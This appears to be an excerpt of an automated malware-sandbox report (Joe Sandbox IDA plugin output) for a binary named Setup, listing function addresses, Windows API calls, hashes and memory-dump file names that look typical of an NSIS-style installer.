Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

N, xrefs: 00404C32
M, xrefs: 00404B6F
@, xrefs: 00404BBC
, xrefs: 00404F65

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
ptF, xrefs: 00406D1A
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile("%s"), xrefs: 00406DE8
\*.*, xrefs: 00406D2F
Delete: DeleteFile failed("%s"), xrefs: 00406E29

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425979,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

F, xrefs: 004046A0
A, xrefs: 00404662

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
%s: failed opening file "%s", xrefs: 00406F38
name, xrefs: 00406FEB

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
